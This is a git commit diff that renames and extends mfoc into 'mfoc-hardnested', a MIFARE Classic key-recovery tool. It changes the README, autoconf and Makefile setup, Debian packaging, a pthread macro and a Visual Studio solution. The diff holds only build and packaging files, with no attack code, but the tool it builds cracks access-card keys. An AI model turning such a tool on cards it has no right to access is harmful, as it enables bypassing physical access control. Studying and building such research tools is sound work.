Merge branch 'test'
This commit is contained in:
commit
da8d1c8501
45
.gitignore
vendored
45
.gitignore
vendored
@ -17,7 +17,48 @@ src/*.o
|
|||||||
src/.deps/
|
src/.deps/
|
||||||
src/Makefile
|
src/Makefile
|
||||||
src/Makefile.in
|
src/Makefile.in
|
||||||
src/mfoc
|
src/mfoc-hardnested
|
||||||
src/mfoc.exe
|
src/mfoc-hardnested.exe
|
||||||
stamp-h1
|
stamp-h1
|
||||||
|
*.o
|
||||||
|
.history/
|
||||||
|
|
||||||
|
config.sub
|
||||||
|
|
||||||
|
config.guess
|
||||||
|
|
||||||
|
src/hardnested/.dirstamp
|
||||||
|
|
||||||
|
src/hardnested/.deps/
|
||||||
|
|
||||||
|
.settings/
|
||||||
|
|
||||||
|
.project
|
||||||
|
|
||||||
|
.cproject
|
||||||
|
|
||||||
|
.autotools
|
||||||
|
|
||||||
|
x64/
|
||||||
|
|
||||||
|
.vs/
|
||||||
|
|
||||||
|
dist/
|
||||||
|
|
||||||
|
debian/.debhelper/
|
||||||
|
|
||||||
|
debian/mfoc-hardnested/
|
||||||
|
|
||||||
|
debian/autoreconf.after
|
||||||
|
|
||||||
|
debian/autoreconf.before
|
||||||
|
|
||||||
|
debian/debhelper-build-stamp
|
||||||
|
|
||||||
|
debian/files
|
||||||
|
|
||||||
|
debian/mfoc-hardnested.debhelper.log
|
||||||
|
|
||||||
|
debian/mfoc-hardnested.substvars
|
||||||
|
|
||||||
|
config.h.in~
|
||||||
|
|||||||
30
README.md
30
README.md
@ -1,20 +1,44 @@
|
|||||||
MFOC is an open source implementation of "offline nested" attack by Nethemba.
|
MFOC is an open source implementation of "offline nested" attack by Nethemba.
|
||||||
|
Later was added so called "hardnested" attack by Carlo Meijer and Roel Verdult.
|
||||||
|
|
||||||
This program allow to recover authentication keys from MIFARE Classic card.
|
This program allow to recover authentication keys from MIFARE Classic card.
|
||||||
|
|
||||||
Please note MFOC is able to recover keys from target only if it have a known key: default one (hardcoded in MFOC) or custom one (user provided using command line).
|
Please note MFOC is able to recover keys from target only if it have a known key: default one (hardcoded in MFOC) or custom one (user provided using command line).
|
||||||
|
|
||||||
# Build from source
|
This is a port to win32 x64 platform using native tools (Visual Studio 2019 + LLVM clang-cl toolchain).
|
||||||
|
This tree was also reworked for gnu toolchain (autotool + gcc like the original).
|
||||||
|
|
||||||
|
Based on the idea by vk496 to integrate mylazycracker into mfoc, forked from his tree.
|
||||||
|
|
||||||
|
For credits (there are many) just look at the AUTHORS file.
|
||||||
|
|
||||||
|
Uses
|
||||||
|
libnfc https://github.com/nfc-tools/libnfc/
|
||||||
|
libusb-win32 https://sourceforge.net/projects/libusb-win32/files/libusb-win32-releases/1.2.6.0/
|
||||||
|
pthreads4w https://sourceforge.net/projects/pthreads4w/
|
||||||
|
liblzma https://tukaani.org/xz/
|
||||||
|
|
||||||
|
pthreads4w and liblzma are static linked.
|
||||||
|
All these libs are precompiled and included in src\lib
|
||||||
|
|
||||||
|
# Build from source
|
||||||
|
Windows:
|
||||||
|
Make sure you have Visual Studio 2019 with Desktop developement with C++, C++ Clang Compiler for Windows and C++ Clang-cl for v142 build tools installed.
|
||||||
|
Open the solution and start compile.
|
||||||
|
The compiled zip package will be in dist.
|
||||||
|
|
||||||
|
Linux:
|
||||||
```
|
```
|
||||||
autoreconf -is
|
autoreconf -vis
|
||||||
./configure
|
./configure
|
||||||
make && sudo make install
|
make && sudo make install
|
||||||
```
|
```
|
||||||
|
|
||||||
# Usage #
|
# Usage #
|
||||||
|
Needs libusb0.dll and nfc.dll in the path, better on the same directory.
|
||||||
|
Needs to install libusbK v3.0.7.0, using Zadig https://zadig.akeo.ie/, go to Option, List All Devices, select your reader, select libusbK(v3.0.7.0) and click on replace driver.
|
||||||
Put one MIFARE Classic tag that you want keys recovering;
|
Put one MIFARE Classic tag that you want keys recovering;
|
||||||
Lauching mfoc, you will need to pass options, see
|
Lauching mfoc, you will need to pass options, see
|
||||||
```
|
```
|
||||||
mfoc -h
|
mfoc-hardnested -h
|
||||||
```
|
```
|
||||||
|
|||||||
31
configure.ac
31
configure.ac
@ -1,4 +1,4 @@
|
|||||||
AC_INIT([mfoc],[0.10.7],[mifare@nethemba.com])
|
AC_INIT([mfoc-hardnested],[0.10.9],[mifare@nethemba.com])
|
||||||
|
|
||||||
AC_CONFIG_MACRO_DIR([m4])
|
AC_CONFIG_MACRO_DIR([m4])
|
||||||
|
|
||||||
@ -6,7 +6,9 @@ AC_CONFIG_HEADERS([config.h])
|
|||||||
|
|
||||||
AC_CONFIG_SRCDIR([src/mfoc.c])
|
AC_CONFIG_SRCDIR([src/mfoc.c])
|
||||||
|
|
||||||
AM_INIT_AUTOMAKE(dist-bzip2 no-dist-gzip)
|
AM_INIT_AUTOMAKE([dist-bzip2 no-dist-gzip subdir-objects])
|
||||||
|
CFLAGS="$CFLAGS -O3"
|
||||||
|
AX_CFLAGS_WARN_ALL
|
||||||
|
|
||||||
AC_PROG_CC
|
AC_PROG_CC
|
||||||
|
|
||||||
@ -16,6 +18,10 @@ m4_ifdef([AM_SILENT_RULES],[AM_SILENT_RULES([yes])])
|
|||||||
LIBNFC_REQUIRED_VERSION=1.7.0
|
LIBNFC_REQUIRED_VERSION=1.7.0
|
||||||
PKG_CHECK_MODULES([libnfc], [libnfc >= $LIBNFC_REQUIRED_VERSION], [], [AC_MSG_ERROR([libnfc >= $LIBNFC_REQUIRED_VERSION is mandatory.])])
|
PKG_CHECK_MODULES([libnfc], [libnfc >= $LIBNFC_REQUIRED_VERSION], [], [AC_MSG_ERROR([libnfc >= $LIBNFC_REQUIRED_VERSION is mandatory.])])
|
||||||
|
|
||||||
|
PKG_CHECK_MODULES([liblzma], [liblzma], LIBS="$LIBS -llzma", [AC_MSG_ERROR([liblzma is mandatory.])])
|
||||||
|
ACX_PTHREAD(LIBS="$LIBS $PTHREAD_CFLAGS", [AC_MSG_ERROR([pthread is mandatory.])])
|
||||||
|
AC_CHECK_LIB(m, log, LIBS="$LIBS -lm", [AC_MSG_ERROR([math is mandatory.])])
|
||||||
|
|
||||||
PKG_CONFIG_REQUIRES="libnfc"
|
PKG_CONFIG_REQUIRES="libnfc"
|
||||||
AC_SUBST([PKG_CONFIG_REQUIRES])
|
AC_SUBST([PKG_CONFIG_REQUIRES])
|
||||||
|
|
||||||
@ -34,8 +40,27 @@ AC_FUNC_MALLOC
|
|||||||
AC_FUNC_REALLOC
|
AC_FUNC_REALLOC
|
||||||
AC_CHECK_FUNCS([memset])
|
AC_CHECK_FUNCS([memset])
|
||||||
|
|
||||||
|
# x86 CPU features (without automatic gcc flags)
|
||||||
|
AC_CANONICAL_HOST
|
||||||
|
X86_SIMD=""
|
||||||
|
AS_CASE([$host_cpu],
|
||||||
|
[x86_64],
|
||||||
|
[
|
||||||
|
X86_SIMD="true"
|
||||||
|
],
|
||||||
|
[i?86],
|
||||||
|
[
|
||||||
|
X86_SIMD="true"
|
||||||
|
],
|
||||||
|
[amd64],
|
||||||
|
[
|
||||||
|
X86_SIMD="true"
|
||||||
|
],)
|
||||||
|
AC_SUBST([X86_SIMD])
|
||||||
|
AM_CONDITIONAL([X86_SIMD], [test x$X86_SIMD = xtrue])
|
||||||
|
|
||||||
# C99
|
# C99
|
||||||
CFLAGS="$CFLAGS -std=c99"
|
CFLAGS="$CFLAGS -DX86_SIMD -std=c99"
|
||||||
|
|
||||||
AC_CONFIG_FILES([Makefile
|
AC_CONFIG_FILES([Makefile
|
||||||
src/Makefile])
|
src/Makefile])
|
||||||
|
|||||||
6
debian/changelog
vendored
6
debian/changelog
vendored
@ -1,3 +1,9 @@
|
|||||||
|
mfoc-hardnested (0.10.9) unstable; urgency=medium
|
||||||
|
|
||||||
|
* New upstream version 0.10.9
|
||||||
|
|
||||||
|
-- gelotus <gelotus@github.com> Wed, 24 Jun 2020 01:19:50 -0300
|
||||||
|
|
||||||
mfoc (0.10.7+git20180724-1) unstable; urgency=medium
|
mfoc (0.10.7+git20180724-1) unstable; urgency=medium
|
||||||
|
|
||||||
* New upstream version 0.10.7+git20180724
|
* New upstream version 0.10.7+git20180724
|
||||||
|
|||||||
12
debian/control
vendored
12
debian/control
vendored
@ -1,15 +1,13 @@
|
|||||||
Source: mfoc
|
Source: mfoc-hardnested
|
||||||
Section: utils
|
Section: utils
|
||||||
Priority: optional
|
Priority: optional
|
||||||
Maintainer: Debian Security Tools <team+pkg-security@tracker.debian.org>
|
Maintainer: gelotus <gelotus@github.com>
|
||||||
Uploaders: Samuel Henrique <samueloph@debian.org>
|
Uploaders: gelotus <gelotus@github.com>
|
||||||
Build-Depends: debhelper (>= 11), libnfc-dev, pkg-config
|
Build-Depends: debhelper (>= 11), libnfc-dev, pkg-config
|
||||||
Standards-Version: 4.1.5
|
Standards-Version: 4.1.5
|
||||||
Homepage: https://github.com/nfc-tools/mfoc
|
Homepage: https://github.com/gelotus/mfoc
|
||||||
Vcs-Browser: https://salsa.debian.org/pkg-security-team/mfoc
|
|
||||||
Vcs-Git: https://salsa.debian.org/pkg-security-team/mfoc.git
|
|
||||||
|
|
||||||
Package: mfoc
|
Package: mfoc-hardnested
|
||||||
Architecture: any
|
Architecture: any
|
||||||
Depends: ${shlibs:Depends}, ${misc:Depends}
|
Depends: ${shlibs:Depends}, ${misc:Depends}
|
||||||
Description: MIFARE Classic offline cracker
|
Description: MIFARE Classic offline cracker
|
||||||
|
|||||||
2
debian/manpages
vendored
2
debian/manpages
vendored
@ -1 +1 @@
|
|||||||
src/mfoc.1
|
src/mfoc-hardnested.1
|
||||||
|
|||||||
2
debian/watch
vendored
2
debian/watch
vendored
@ -1,3 +1,3 @@
|
|||||||
version=4
|
version=4
|
||||||
|
|
||||||
https://github.com/nfc-tools/mfoc/tags/ .*/mfoc-(.*)\.tar\.gz
|
https://github.com/gelotus/mfoc/tags/ .*/mfoc-(.*)\.tar\.gz
|
||||||
|
|||||||
309
m4/ax_pthread.m4
Normal file
309
m4/ax_pthread.m4
Normal file
@ -0,0 +1,309 @@
|
|||||||
|
# ===========================================================================
|
||||||
|
# http://www.gnu.org/software/autoconf-archive/ax_pthread.html
|
||||||
|
# ===========================================================================
|
||||||
|
#
|
||||||
|
# SYNOPSIS
|
||||||
|
#
|
||||||
|
# AX_PTHREAD([ACTION-IF-FOUND[, ACTION-IF-NOT-FOUND]])
|
||||||
|
#
|
||||||
|
# DESCRIPTION
|
||||||
|
#
|
||||||
|
# This macro figures out how to build C programs using POSIX threads. It
|
||||||
|
# sets the PTHREAD_LIBS output variable to the threads library and linker
|
||||||
|
# flags, and the PTHREAD_CFLAGS output variable to any special C compiler
|
||||||
|
# flags that are needed. (The user can also force certain compiler
|
||||||
|
# flags/libs to be tested by setting these environment variables.)
|
||||||
|
#
|
||||||
|
# Also sets PTHREAD_CC to any special C compiler that is needed for
|
||||||
|
# multi-threaded programs (defaults to the value of CC otherwise). (This
|
||||||
|
# is necessary on AIX to use the special cc_r compiler alias.)
|
||||||
|
#
|
||||||
|
# NOTE: You are assumed to not only compile your program with these flags,
|
||||||
|
# but also link it with them as well. e.g. you should link with
|
||||||
|
# $PTHREAD_CC $CFLAGS $PTHREAD_CFLAGS $LDFLAGS ... $PTHREAD_LIBS $LIBS
|
||||||
|
#
|
||||||
|
# If you are only building threads programs, you may wish to use these
|
||||||
|
# variables in your default LIBS, CFLAGS, and CC:
|
||||||
|
#
|
||||||
|
# LIBS="$PTHREAD_LIBS $LIBS"
|
||||||
|
# CFLAGS="$CFLAGS $PTHREAD_CFLAGS"
|
||||||
|
# CC="$PTHREAD_CC"
|
||||||
|
#
|
||||||
|
# In addition, if the PTHREAD_CREATE_JOINABLE thread-attribute constant
|
||||||
|
# has a nonstandard name, defines PTHREAD_CREATE_JOINABLE to that name
|
||||||
|
# (e.g. PTHREAD_CREATE_UNDETACHED on AIX).
|
||||||
|
#
|
||||||
|
# Also HAVE_PTHREAD_PRIO_INHERIT is defined if pthread is found and the
|
||||||
|
# PTHREAD_PRIO_INHERIT symbol is defined when compiling with
|
||||||
|
# PTHREAD_CFLAGS.
|
||||||
|
#
|
||||||
|
# ACTION-IF-FOUND is a list of shell commands to run if a threads library
|
||||||
|
# is found, and ACTION-IF-NOT-FOUND is a list of commands to run it if it
|
||||||
|
# is not found. If ACTION-IF-FOUND is not specified, the default action
|
||||||
|
# will define HAVE_PTHREAD.
|
||||||
|
#
|
||||||
|
# Please let the authors know if this macro fails on any platform, or if
|
||||||
|
# you have any other suggestions or comments. This macro was based on work
|
||||||
|
# by SGJ on autoconf scripts for FFTW (http://www.fftw.org/) (with help
|
||||||
|
# from M. Frigo), as well as ac_pthread and hb_pthread macros posted by
|
||||||
|
# Alejandro Forero Cuervo to the autoconf macro repository. We are also
|
||||||
|
# grateful for the helpful feedback of numerous users.
|
||||||
|
#
|
||||||
|
# Updated for Autoconf 2.68 by Daniel Richard G.
|
||||||
|
#
|
||||||
|
# LICENSE
|
||||||
|
#
|
||||||
|
# Copyright (c) 2008 Steven G. Johnson <stevenj@alum.mit.edu>
|
||||||
|
# Copyright (c) 2011 Daniel Richard G. <skunk@iSKUNK.ORG>
|
||||||
|
#
|
||||||
|
# This program is free software: you can redistribute it and/or modify it
|
||||||
|
# under the terms of the GNU General Public License as published by the
|
||||||
|
# Free Software Foundation, either version 3 of the License, or (at your
|
||||||
|
# option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful, but
|
||||||
|
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
|
||||||
|
# Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License along
|
||||||
|
# with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
#
|
||||||
|
# As a special exception, the respective Autoconf Macro's copyright owner
|
||||||
|
# gives unlimited permission to copy, distribute and modify the configure
|
||||||
|
# scripts that are the output of Autoconf when processing the Macro. You
|
||||||
|
# need not follow the terms of the GNU General Public License when using
|
||||||
|
# or distributing such scripts, even though portions of the text of the
|
||||||
|
# Macro appear in them. The GNU General Public License (GPL) does govern
|
||||||
|
# all other use of the material that constitutes the Autoconf Macro.
|
||||||
|
#
|
||||||
|
# This special exception to the GPL applies to versions of the Autoconf
|
||||||
|
# Macro released by the Autoconf Archive. When you make and distribute a
|
||||||
|
# modified version of the Autoconf Macro, you may extend this special
|
||||||
|
# exception to the GPL to apply to your modified version as well.
|
||||||
|
|
||||||
|
#serial 18
|
||||||
|
|
||||||
|
AU_ALIAS([ACX_PTHREAD], [AX_PTHREAD])
|
||||||
|
AC_DEFUN([AX_PTHREAD], [
|
||||||
|
AC_REQUIRE([AC_CANONICAL_HOST])
|
||||||
|
AC_LANG_PUSH([C])
|
||||||
|
ax_pthread_ok=no
|
||||||
|
|
||||||
|
# We used to check for pthread.h first, but this fails if pthread.h
|
||||||
|
# requires special compiler flags (e.g. on True64 or Sequent).
|
||||||
|
# It gets checked for in the link test anyway.
|
||||||
|
|
||||||
|
# First of all, check if the user has set any of the PTHREAD_LIBS,
|
||||||
|
# etcetera environment variables, and if threads linking works using
|
||||||
|
# them:
|
||||||
|
if test x"$PTHREAD_LIBS$PTHREAD_CFLAGS" != x; then
|
||||||
|
save_CFLAGS="$CFLAGS"
|
||||||
|
CFLAGS="$CFLAGS $PTHREAD_CFLAGS"
|
||||||
|
save_LIBS="$LIBS"
|
||||||
|
LIBS="$PTHREAD_LIBS $LIBS"
|
||||||
|
AC_MSG_CHECKING([for pthread_join in LIBS=$PTHREAD_LIBS with CFLAGS=$PTHREAD_CFLAGS])
|
||||||
|
AC_TRY_LINK_FUNC(pthread_join, ax_pthread_ok=yes)
|
||||||
|
AC_MSG_RESULT($ax_pthread_ok)
|
||||||
|
if test x"$ax_pthread_ok" = xno; then
|
||||||
|
PTHREAD_LIBS=""
|
||||||
|
PTHREAD_CFLAGS=""
|
||||||
|
fi
|
||||||
|
LIBS="$save_LIBS"
|
||||||
|
CFLAGS="$save_CFLAGS"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# We must check for the threads library under a number of different
|
||||||
|
# names; the ordering is very important because some systems
|
||||||
|
# (e.g. DEC) have both -lpthread and -lpthreads, where one of the
|
||||||
|
# libraries is broken (non-POSIX).
|
||||||
|
|
||||||
|
# Create a list of thread flags to try. Items starting with a "-" are
|
||||||
|
# C compiler flags, and other items are library names, except for "none"
|
||||||
|
# which indicates that we try without any flags at all, and "pthread-config"
|
||||||
|
# which is a program returning the flags for the Pth emulation library.
|
||||||
|
|
||||||
|
ax_pthread_flags="pthreads none -Kthread -kthread lthread -pthread -pthreads -mthreads pthread --thread-safe -mt pthread-config"
|
||||||
|
|
||||||
|
# The ordering *is* (sometimes) important. Some notes on the
|
||||||
|
# individual items follow:
|
||||||
|
|
||||||
|
# pthreads: AIX (must check this before -lpthread)
|
||||||
|
# none: in case threads are in libc; should be tried before -Kthread and
|
||||||
|
# other compiler flags to prevent continual compiler warnings
|
||||||
|
# -Kthread: Sequent (threads in libc, but -Kthread needed for pthread.h)
|
||||||
|
# -kthread: FreeBSD kernel threads (preferred to -pthread since SMP-able)
|
||||||
|
# lthread: LinuxThreads port on FreeBSD (also preferred to -pthread)
|
||||||
|
# -pthread: Linux/gcc (kernel threads), BSD/gcc (userland threads)
|
||||||
|
# -pthreads: Solaris/gcc
|
||||||
|
# -mthreads: Mingw32/gcc, Lynx/gcc
|
||||||
|
# -mt: Sun Workshop C (may only link SunOS threads [-lthread], but it
|
||||||
|
# doesn't hurt to check since this sometimes defines pthreads too;
|
||||||
|
# also defines -D_REENTRANT)
|
||||||
|
# ... -mt is also the pthreads flag for HP/aCC
|
||||||
|
# pthread: Linux, etcetera
|
||||||
|
# --thread-safe: KAI C++
|
||||||
|
# pthread-config: use pthread-config program (for GNU Pth library)
|
||||||
|
|
||||||
|
case ${host_os} in
|
||||||
|
solaris*)
|
||||||
|
|
||||||
|
# On Solaris (at least, for some versions), libc contains stubbed
|
||||||
|
# (non-functional) versions of the pthreads routines, so link-based
|
||||||
|
# tests will erroneously succeed. (We need to link with -pthreads/-mt/
|
||||||
|
# -lpthread.) (The stubs are missing pthread_cleanup_push, or rather
|
||||||
|
# a function called by this macro, so we could check for that, but
|
||||||
|
# who knows whether they'll stub that too in a future libc.) So,
|
||||||
|
# we'll just look for -pthreads and -lpthread first:
|
||||||
|
|
||||||
|
ax_pthread_flags="-pthreads pthread -mt -pthread $ax_pthread_flags"
|
||||||
|
;;
|
||||||
|
|
||||||
|
darwin*)
|
||||||
|
ax_pthread_flags="-pthread $ax_pthread_flags"
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
if test x"$ax_pthread_ok" = xno; then
|
||||||
|
for flag in $ax_pthread_flags; do
|
||||||
|
|
||||||
|
case $flag in
|
||||||
|
none)
|
||||||
|
AC_MSG_CHECKING([whether pthreads work without any flags])
|
||||||
|
;;
|
||||||
|
|
||||||
|
-*)
|
||||||
|
AC_MSG_CHECKING([whether pthreads work with $flag])
|
||||||
|
PTHREAD_CFLAGS="$flag"
|
||||||
|
;;
|
||||||
|
|
||||||
|
pthread-config)
|
||||||
|
AC_CHECK_PROG(ax_pthread_config, pthread-config, yes, no)
|
||||||
|
if test x"$ax_pthread_config" = xno; then continue; fi
|
||||||
|
PTHREAD_CFLAGS="`pthread-config --cflags`"
|
||||||
|
PTHREAD_LIBS="`pthread-config --ldflags` `pthread-config --libs`"
|
||||||
|
;;
|
||||||
|
|
||||||
|
*)
|
||||||
|
AC_MSG_CHECKING([for the pthreads library -l$flag])
|
||||||
|
PTHREAD_LIBS="-l$flag"
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
save_LIBS="$LIBS"
|
||||||
|
save_CFLAGS="$CFLAGS"
|
||||||
|
LIBS="$PTHREAD_LIBS $LIBS"
|
||||||
|
CFLAGS="$CFLAGS $PTHREAD_CFLAGS"
|
||||||
|
|
||||||
|
# Check for various functions. We must include pthread.h,
|
||||||
|
# since some functions may be macros. (On the Sequent, we
|
||||||
|
# need a special flag -Kthread to make this header compile.)
|
||||||
|
# We check for pthread_join because it is in -lpthread on IRIX
|
||||||
|
# while pthread_create is in libc. We check for pthread_attr_init
|
||||||
|
# due to DEC craziness with -lpthreads. We check for
|
||||||
|
# pthread_cleanup_push because it is one of the few pthread
|
||||||
|
# functions on Solaris that doesn't have a non-functional libc stub.
|
||||||
|
# We try pthread_create on general principles.
|
||||||
|
AC_LINK_IFELSE([AC_LANG_PROGRAM([#include <pthread.h>
|
||||||
|
static void routine(void *a) { a = 0; }
|
||||||
|
static void *start_routine(void *a) { return a; }],
|
||||||
|
[pthread_t th; pthread_attr_t attr;
|
||||||
|
pthread_create(&th, 0, start_routine, 0);
|
||||||
|
pthread_join(th, 0);
|
||||||
|
pthread_attr_init(&attr);
|
||||||
|
pthread_cleanup_push(routine, 0);
|
||||||
|
pthread_cleanup_pop(0) /* ; */])],
|
||||||
|
[ax_pthread_ok=yes],
|
||||||
|
[])
|
||||||
|
|
||||||
|
LIBS="$save_LIBS"
|
||||||
|
CFLAGS="$save_CFLAGS"
|
||||||
|
|
||||||
|
AC_MSG_RESULT($ax_pthread_ok)
|
||||||
|
if test "x$ax_pthread_ok" = xyes; then
|
||||||
|
break;
|
||||||
|
fi
|
||||||
|
|
||||||
|
PTHREAD_LIBS=""
|
||||||
|
PTHREAD_CFLAGS=""
|
||||||
|
done
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Various other checks:
|
||||||
|
if test "x$ax_pthread_ok" = xyes; then
|
||||||
|
save_LIBS="$LIBS"
|
||||||
|
LIBS="$PTHREAD_LIBS $LIBS"
|
||||||
|
save_CFLAGS="$CFLAGS"
|
||||||
|
CFLAGS="$CFLAGS $PTHREAD_CFLAGS"
|
||||||
|
|
||||||
|
# Detect AIX lossage: JOINABLE attribute is called UNDETACHED.
|
||||||
|
AC_MSG_CHECKING([for joinable pthread attribute])
|
||||||
|
attr_name=unknown
|
||||||
|
for attr in PTHREAD_CREATE_JOINABLE PTHREAD_CREATE_UNDETACHED; do
|
||||||
|
AC_LINK_IFELSE([AC_LANG_PROGRAM([#include <pthread.h>],
|
||||||
|
[int attr = $attr; return attr /* ; */])],
|
||||||
|
[attr_name=$attr; break],
|
||||||
|
[])
|
||||||
|
done
|
||||||
|
AC_MSG_RESULT($attr_name)
|
||||||
|
if test "$attr_name" != PTHREAD_CREATE_JOINABLE; then
|
||||||
|
AC_DEFINE_UNQUOTED(PTHREAD_CREATE_JOINABLE, $attr_name,
|
||||||
|
[Define to necessary symbol if this constant
|
||||||
|
uses a non-standard name on your system.])
|
||||||
|
fi
|
||||||
|
|
||||||
|
AC_MSG_CHECKING([if more special flags are required for pthreads])
|
||||||
|
flag=no
|
||||||
|
case ${host_os} in
|
||||||
|
aix* | freebsd* | darwin*) flag="-D_THREAD_SAFE";;
|
||||||
|
osf* | hpux*) flag="-D_REENTRANT";;
|
||||||
|
solaris*)
|
||||||
|
if test "$GCC" = "yes"; then
|
||||||
|
flag="-D_REENTRANT"
|
||||||
|
else
|
||||||
|
flag="-mt -D_REENTRANT"
|
||||||
|
fi
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
AC_MSG_RESULT(${flag})
|
||||||
|
if test "x$flag" != xno; then
|
||||||
|
PTHREAD_CFLAGS="$flag $PTHREAD_CFLAGS"
|
||||||
|
fi
|
||||||
|
|
||||||
|
AC_CACHE_CHECK([for PTHREAD_PRIO_INHERIT],
|
||||||
|
ax_cv_PTHREAD_PRIO_INHERIT, [
|
||||||
|
AC_LINK_IFELSE([
|
||||||
|
AC_LANG_PROGRAM([[#include <pthread.h>]], [[int i = PTHREAD_PRIO_INHERIT;]])],
|
||||||
|
[ax_cv_PTHREAD_PRIO_INHERIT=yes],
|
||||||
|
[ax_cv_PTHREAD_PRIO_INHERIT=no])
|
||||||
|
])
|
||||||
|
AS_IF([test "x$ax_cv_PTHREAD_PRIO_INHERIT" = "xyes"],
|
||||||
|
AC_DEFINE([HAVE_PTHREAD_PRIO_INHERIT], 1, [Have PTHREAD_PRIO_INHERIT.]))
|
||||||
|
|
||||||
|
LIBS="$save_LIBS"
|
||||||
|
CFLAGS="$save_CFLAGS"
|
||||||
|
|
||||||
|
# More AIX lossage: must compile with xlc_r or cc_r
|
||||||
|
if test x"$GCC" != xyes; then
|
||||||
|
AC_CHECK_PROGS(PTHREAD_CC, xlc_r cc_r, ${CC})
|
||||||
|
else
|
||||||
|
PTHREAD_CC=$CC
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
PTHREAD_CC="$CC"
|
||||||
|
fi
|
||||||
|
|
||||||
|
AC_SUBST(PTHREAD_LIBS)
|
||||||
|
AC_SUBST(PTHREAD_CFLAGS)
|
||||||
|
AC_SUBST(PTHREAD_CC)
|
||||||
|
|
||||||
|
# Finally, execute ACTION-IF-FOUND/ACTION-IF-NOT-FOUND:
|
||||||
|
if test x"$ax_pthread_ok" = xyes; then
|
||||||
|
ifelse([$1],,AC_DEFINE(HAVE_PTHREAD,1,[Define if you have POSIX threads libraries and header files.]),[$1])
|
||||||
|
:
|
||||||
|
else
|
||||||
|
ax_pthread_ok=no
|
||||||
|
$2
|
||||||
|
fi
|
||||||
|
AC_LANG_POP
|
||||||
|
])dnl AX_PTHREAD
|
||||||
22
mfoc-hardnested.sln
Normal file
22
mfoc-hardnested.sln
Normal file
@ -0,0 +1,22 @@
|
|||||||
|
|
||||||
|
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||||
|
# Visual Studio Version 16
|
||||||
|
VisualStudioVersion = 16.0.30204.135
|
||||||
|
MinimumVisualStudioVersion = 10.0.40219.1
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mfoc-hardnested", "src\mfoc-hardnested.vcxproj", "{24EA25A3-9008-44C1-83DD-4A81D02FC478}"
|
||||||
|
EndProject
|
||||||
|
Global
|
||||||
|
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||||
|
Release|x64 = Release|x64
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||||
|
{24EA25A3-9008-44C1-83DD-4A81D02FC478}.Release|x64.ActiveCfg = Release|x64
|
||||||
|
{24EA25A3-9008-44C1-83DD-4A81D02FC478}.Release|x64.Build.0 = Release|x64
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(SolutionProperties) = preSolution
|
||||||
|
HideSolutionNode = FALSE
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||||
|
SolutionGuid = {5F6B83D6-F03F-45AB-85A5-44DC197A2079}
|
||||||
|
EndGlobalSection
|
||||||
|
EndGlobal
|
||||||
@ -1,10 +1,39 @@
|
|||||||
AM_CFLAGS = @libnfc_CFLAGS@
|
AM_CFLAGS = @libnfc_CFLAGS@
|
||||||
|
|
||||||
bin_PROGRAMS = mfoc
|
bin_PROGRAMS = mfoc-hardnested
|
||||||
|
|
||||||
noinst_HEADERS = crapto1.h mfoc.h mifare.h nfc-utils.h
|
noinst_HEADERS = crapto1.h mfoc.h mifare.h nfc-utils.h parity.h hardnested/hardnested_bruteforce.h hardnested/tables.h hardnested/hardnested_cpu_dispatch.h cmdhfmfhard.h util.h util_posix.h ui.h bf_bench_data.h
|
||||||
|
|
||||||
mfoc_SOURCES = crapto1.c crypto1.c mfoc.c mifare.c nfc-utils.c
|
mfoc_hardnested_SOURCES = crapto1.c crypto1.c mfoc.c mifare.c nfc-utils.c parity.c hardnested/hardnested_cpu_dispatch.c hardnested/hardnested_bruteforce.c hardnested/tables.c cmdhfmfhard.c util.c util_posix.c ui.c
|
||||||
mfoc_LDADD = @libnfc_LIBS@
|
mfoc_hardnested_LDADD = @libnfc_LIBS@ $(SIMD)
|
||||||
|
|
||||||
dist_man_MANS = mfoc.1
|
dist_man_MANS = mfoc-hardnested.1
|
||||||
|
|
||||||
|
HARD_SWITCH_SSE2 = -mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f
|
||||||
|
HARD_SWITCH_AVX = -mmmx -msse2 -mavx -mno-avx2 -mno-avx512f
|
||||||
|
HARD_SWITCH_AVX2 = -mmmx -msse2 -mavx -mavx2 -mno-avx512f
|
||||||
|
HARD_SWITCH_AVX512 = -mmmx -msse2 -mavx -mavx2 -mavx512f
|
||||||
|
|
||||||
|
if X86_SIMD
|
||||||
|
|
||||||
|
SIMD = hardnested/hardnested_bf_core_SSE2.o hardnested/hardnested_bf_core_AVX.o hardnested/hardnested_bf_core_AVX2.o hardnested/hardnested_bf_core_AVX512.o hardnested/hardnested_bitarray_core_SSE2.o hardnested/hardnested_bitarray_core_AVX.o hardnested/hardnested_bitarray_core_AVX2.o hardnested/hardnested_bitarray_core_AVX512.o
|
||||||
|
|
||||||
|
hardnested/%_SSE2.o : hardnested/%_SSE2.c
|
||||||
|
$(CC) $(DEPFLAGS) $(CFLAGS) $(HARD_SWITCH_SSE2) -c -o $@ $<
|
||||||
|
|
||||||
|
hardnested/%_AVX.o : hardnested/%_AVX.c
|
||||||
|
$(CC) $(DEPFLAGS) $(CFLAGS) $(HARD_SWITCH_AVX) -c -o $@ $<
|
||||||
|
|
||||||
|
hardnested/%_AVX2.o : hardnested/%_AVX2.c
|
||||||
|
$(CC) $(DEPFLAGS) $(CFLAGS) $(HARD_SWITCH_AVX2) -c -o $@ $<
|
||||||
|
|
||||||
|
hardnested/%_AVX512.o : hardnested/%_AVX512.c
|
||||||
|
$(CC) $(DEPFLAGS) $(CFLAGS) $(HARD_SWITCH_AVX512) -c -o $@ $<
|
